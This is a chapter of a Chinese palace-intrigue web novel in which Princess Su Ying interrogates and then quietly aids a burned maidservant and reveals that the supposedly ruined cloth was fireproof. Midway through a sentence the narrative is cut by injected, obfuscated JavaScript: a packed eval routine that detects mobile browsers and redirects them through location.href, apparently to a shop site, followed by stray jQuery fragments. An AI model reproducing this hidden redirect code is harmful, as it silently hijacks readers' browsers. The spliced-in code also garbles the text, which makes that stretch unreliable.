宝冉悄悄地把手背贴在空的细瓷碗上，用那点微凉勉强缓解伤处火辣辣的灼热。一抬头，刚还立在华容郡主桌前的永宁王不见了。
“郡主——”
“一会儿宴席结束，我们快些离开。”郭娑沁着头，不动声色地叮嘱了她一句。
偷偷溜走到底没有那么顺利。
两人才匆匆起身，就听远处传来苏萦懒洋洋的一声唤：“郭姐姐留步！”
两人只好站住脚。
苏萦带着蜜合快步走近身前。
“还要多谢姐姐，劝永宁王过去安慰我啊。”苏萦眼眶鼻头才退了红，竟又是一副神采奕奕的神色：“我现在心情好过多了！可以好好地算一算你我的账。”
宝冉下意识往后退，蜜合已绕到后面笑盈盈地挡住了她。
“姐姐帮了我这么大的忙，我怎么谢姐姐好呢？”苏萦一步步逼上来，眨着无辜的大眼睛，忽然问道：“对了，姐姐这次从北漠来，带了几个侍女啊？”
郭娑下意识偏头瞥了宝冉一眼，宝冉直往她身后缩，不知这华容郡主葫芦里卖的什么药。
“不会就这一个吧？到了大朔，也没再增添？三嫂嫂真是粗心，让姐姐受这样的薄待。”苏萦打量着宝冉，冷哼一声：“姐姐别怪妹妹说话难听，你这一个，实在差的很。叫她收个东西都收不住，怎么当得好贴身婢女呢？” 她转向郭娑，语气十分关切似的：“今日是烧我的料子，明日若出点别的差错，耽误了姐姐的大事可怎么好？依我说，姐姐打发了她吧！”
她不等郭娑回应，便自顾自安排下去：“这样，妹妹另给你拣几个，四个怎么样？我宫里的侍女，都是母后为我精挑细选的。我定拣伶俐细致的给你，保证都比这个稳妥。姐姐远离故土，多几个人伺候总还舒服些。”
苏萦抬眼，水葱似的指尖一指宝冉：“你把这个粗心的交给我，让我来处置。我得好好审审她，怎么能笨到把那么重要的东西填到火里去！姐姐，你看行吗？”
郭娑脸色煞白，双手紧紧扶住宝冉的肩膀护住她：“郡主，宝冉与我情同姐妹，不是一般的下人奴才！”
苏萦等的就是她这句话。她微微倾身，声音压低，却藏着冰冷的锋芒：“姐姐，你这话我最认同不过了。宫里也有这样说法，主仆同心，上下一体。身边人自己出去，就代表着主人的脸面；跟在身边，就是主人的影子。”
“可是姐姐，”她锐利的目光扫过宝冉，定格在郭娑脸上：“你的影子不听话，给你闯祸，让你丢脸了。姐姐若不及时换掉她，将来，兴许要吃大亏呢。”
“妹妹何必因为这一点小事纠缠！宝冉的手伤成这样，难道是为了做戏给妹妹看吗？”郭娑惶急之下，拉过宝冉的手腕展示给苏萦看，宝冉屈辱地匆匆垂下目光。
“这是小事吗？”苏萦一摊手一耸肩：“可能真的算吧。不过郭姐姐运气不好，妹妹气量小的惊人。”
“刚才妹妹实在是气坏了，宴席上没忍住落了泪，许多人都看见了，都来问了缘由。”
“现在各宫里都在议论呢。她们说，不知道北漠王女究竟是什么目的，是真的不懂规矩呢，还是诚心想给我下马威。你说，姐姐，我该信谁的？”
她贴近郭娑身侧，悄声附耳道：
“北漠王女，究竟是蠢，还是坏啊？”
郭娑骇然盯住苏萦的面庞。
苏萦的脸上此时挂着讳莫如深的笑容，眼中似有钩子要从她身上连皮带肉的刮下一块来。
与那日在玉栖宫中初见时，简直判若两人。
她这张人畜无害的小脸，原是最好的障眼法。
“…郡主真要问话，我们也是不怕的！”郭娑暗下狠心，让出宝冉来：“若我的侍女真有刻意损坏郡主心爱之物的心思，郡主随意处置便是！”
宝冉满眼惊慌，无措地望进她眼中。郭娑看向她的眼神中，不知是鼓励还是警告。
“呵？”苏萦轻笑：“姐姐同意了？宝冉姑娘，跟我们走一趟吧。”
宝冉满心忐忑，一步三回头地跟着蜜合往赏明宫去，郭娑惶惶然跟在后面，却见福熙殿前，有两顶小轿正候着。
“姐姐也跟我们一起去吧，我问话很快的。”苏萦回头笑着解释道：“怎么能让姐姐自己一个人先回去呢？那样显得妹妹太不周到了。”
“我就在院内，等着郡主的消息。”郭娑强自镇定，还给宝冉递上一个安慰的眼神。宝冉心神不宁，也不知有没有注意到。
“那郡主自便吧。”苏萦进门前，朝院内的小丫头们示意：“给郡主上茶。放机灵些，别怠慢了郡主。”
小丫头们都喏喏应承。其实心里门儿清，这个季节不请进屋里坐着，就已经是彻头彻尾的怠慢了。
房中暖融融的，一个小火盆座在罗汉榻边上，宝冉僵硬地挪进房中，见了火盆下意识向后躲了躲。苏萦到罗汉榻上坐了，有个小丫头端了个汤婆子给她。
好一会儿没人管宝冉，姑娘们各忙着自己的事，由她自己束手束脚地站着。蜜合从柜里找出一个小陶罐子，到榻前递给苏萦。
陶罐子打开，紫红色的绵密的粉末，看着像香灰。
“过来。”苏萦招手叫宝冉近前，轻轻拉过她藏在袖子里的手，用小金匙子舀了一点香灰在她手上。
“不怕吗？” 苏萦一边低头在她伤处均匀地铺上香灰，一边平静地问，“没什么想对我说的吗？”
宝冉倔强地沉默。
苏萦也不在意，继续慢悠悠地地问：“你看她刚才的样子，是真想护着你吗？她若真视你如姐妹，会让你做这等事，受这等伤？”
宝冉十分敏感，猛地把手抽回：“不劳郡主费心！奴婢卑贱，用不起您的东西！”
苏萦抬起头看她，微微挑了下眉。
“宝冉姑娘，你原是兀良合部的公主？我们大朔的皇后，也曾是库伦部的公主。你怎么沦落到去伺候人了？”
宝冉没想到这大朔郡主竟打探到了她的底细，自尊十分受伤，紧咬着牙关，眼泪都涌了出来，却还强撑着一甩头，别过脸去：“郡主，人各有命，宝冉现在，就只是个烫伤了只配用香灰的奴才。过去的事，还请郡主不要提了。”
苏萦听了她的话，诧异地轻笑一声，把小陶罐递给蜜合：“快把这上不得台面的香灰扔出去，给宝冉姑娘拿一盒烫伤药膏来。”
蜜合接过来，苦笑着看了宝冉一眼，出去了。没多一会儿，拿着个密封好的小白瓷瓶回来。
苏萦打开给宝冉看，里面是黄澄澄的油润的药膏，浓郁的一股香油的味道。
“用这个行吗？”苏萦递给宝冉：“自己厚厚的敷一层吧。记得伤处这几日千万别碰水。”
宝冉半信半疑地接了，十分小心地用手指蘸出一点儿，底下用另一个手接着，不让油滴在榻边的大地毯上。
“我对你好不好？”苏萦故意吓唬她：“这要在你们那边，是不是该抓你出去抽鞭子了？”
宝冉惊恐地瑟缩了一下。
苏萦见她吓得一缩脖子，自己顽皮地嘻嘻笑。宝冉又觉得很受侮辱，但用了人家的药，又不好发作。
“要想少吃苦头，原也不难。这大朔皇宫里，有一页下人们传抄的“保命符”，宝冉姑娘没事也抄一份回去看看，再告诉告诉你家主子，省得再弄巧成拙。”
蜜合不知什么时候备好了，还真从怀里掏出一张小纸，摊开来放在桌上。
这是宫中秘辛，宝冉目光闪躲不好意思细看，苏萦却热情地要帮她忙，手指轻点一处，指给她看：“喏，我在这儿呢。”
“赏明宫主子最是乖僻，喜怒无常。”她轻轻念出声来。
宝冉与苏萦对视，见她笑盈盈的，莫测的神色，看得她狠狠打了个哆嗦，像又被烫了一下。
“你坐一会儿，我给你拿好吃的。”苏萦朝蜜合一抬下巴：“就上回母后赏的那些。”
吃食拿进来，是风干牛肉和奶疙瘩。
宝冉确实饿了，宴席上可没她吃东西的份儿。
趁她小心翼翼地吃东西，苏萦和蜜合随口说：“小厨房给你热饭了吗？快去吃吧。这儿有宝冉陪我呢。”
蜜合很不信任地溜了宝冉一眼，微笑说：“奴婢换朱樱进来。”
苏萦也没反驳，想想又吩咐：“让孙姑姑给我再做一份。刚才把我气的，什么都没吃。”
宝冉尴尬地停下咀嚼。
“你吃你的。”苏萦抱着双臂，俯身到小几上好奇地看她吃东西，苦着小脸问：“你们真爱吃这些呀？母后爱吃这个，我觉得不大好嚼。”
“一会儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799167|190662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
装一袋给你带着。你自己留着吃吧，别分给郭娑。我倒觉得，你还没她那么坏。当然了，分不分给她也在你。你们主仆之间的事，毕竟也是不归我管的。”
“哎，”苏萦突然凑近她狡黠地坏笑道：“你说，咱们再冻她一会儿好不好？”
郭娑等在门外，双手和耳朵都已经冻得微微刺痛。她一方面担心苏萦折磨宝冉，另一方面又害怕宝冉说出什么对她不利的话来，在院子里坐立难安。
石桌上的茶不多一会儿就吹冷了，石凳上更是坐不住的，这真叫“坐冷板凳”。她闲极无聊，心神不定，趁着没人看着她的时候，悄悄踱到下人们待的后院去看看。
还没走到近前，忽听后院传来一声微弱的隐忍呻吟。她贴着檐下循声走去，躲在墙角，见今晚揣着火盆冲出去那个小内侍解开衣裳前襟瘫坐在地上，冷汗淋漓，嘴里咬着块布头，另一个小内侍看着面熟，该是苏萦宫里的，正朝他胸前骇人的烫伤上撒些紫红色的粉末。
“你忍着点儿吧！多亏我家主子反应快，不然现在你还能在这儿哼哼，小命都早丢咯！”
宗雀头凑到那人耳边，小声叮嘱：“我给你上的这药，叫降真香，南洋来的，专给皇上寝殿里点的呢。我主子这儿，要次货还真拿不出来。就这么一小罐，值五十两银子。一会儿你可把衣裳裹好了，别让御前那几个狗鼻子闻见了。那些个老家伙最识货，要让他们发现了你用这么好的药，你这小命又难保了。”
郭娑悄悄退回，正赶上朱樱送宝冉出来。
“宝冉！”郭娑忙迎上来，扶着宝冉的双肩细细打量：“华容郡主有没有刁难你？”
“郡主这说的哪里话？”朱樱小脸儿一掉，冷声道：“出宫的轿子想必在门外等着了，郡主请吧！”
“华容郡主没有刁难奴婢。”宝冉目光躲闪，不好意思让郭娑看她包扎好的双手：“…只给奴婢伤处掸了点香灰。”
郭娑眼尖，一眼瞥见了，宝冉的手上竟也敷着一层紫红色的香粉。
她心中震撼，表面上却还不动声色。主仆二人一齐出了赏明宫。
朱樱朝她们的背影瞪了一眼，过去掩了大门，回到苏萦房中去。
“郡主，那主仆二人走了。”朱樱一进门皱着眉头问：“咱们就这么放过她们了？”
“不然呢？还狠狠欺负她们一通啊？”苏萦坐在榻上吃饭，满不在乎地随口反问。
“郡主，奴婢去把那料子搬出来看看，兴许裁一裁补一补，还够做一件短衣裳的。”朱樱嘴上安慰苏萦，心里都替主子委屈：郡主从小到大，要什么好料子没有？为这么一匹不起眼的费了这么大周章，临了还让火烧坏了，白忙了这一大场。
想到这儿，又十分不忿，嘟哝道：“那个北漠郡主，真是坏透了！”
“没有吧。”苏萦搅着吹着碗里的热粥：“她的丫头还忠心，说明人还没坏透。”
她抬头看看朱樱不解的表情，笑着解释：“她要是真坏透了，身边就没人了。”
朱樱听得懵懵懂懂，只出门把那烧焦的盒子搬了进来。她把盒子放得远远的，不忍心让苏萦看见。
蜜合过来，帮她打开搭钮。
盒子一掀，朱樱双眼簌地一亮。盒子外面都烧成那样了，里衬竟完好无损。展开布料细细检查一番，朱樱惊喜地大叫起来：“郡主，一点儿也没坏！”
回头一看苏萦洞若观火的得意神色，朱樱恍然大悟：“郡主，你早就知道料子没坏！”
“难怪郡主那天晚上让奴婢换盒子装它。”蜜合也朝苏萦了然一笑。
苏萦这才咯咯笑出声来。
“谁能想到有人要烧它呢？我当时不过是想把有还哥哥的礼物放个妥当地方。”
“我爹说，卖东西给人家的时候，货物的品质要好，货物运输的安全更要保证，这样才有信誉，买家才会一次又一次地信你。”
苏萦走上前来，摩挲着盒中看似不起眼的深色衬布：“我爹十八岁那年研制出的这种布料材质，赢了当年朝廷的布料遴选，现在，也还是御供做官服的。水泼不进，火烧不着。”
“我爹说，当官的有金光正气护体——”
她想象着那主仆俩懊恼狼狈的模样，得意地抬抬眉毛：
“——魑魅魍魉，不得近身。”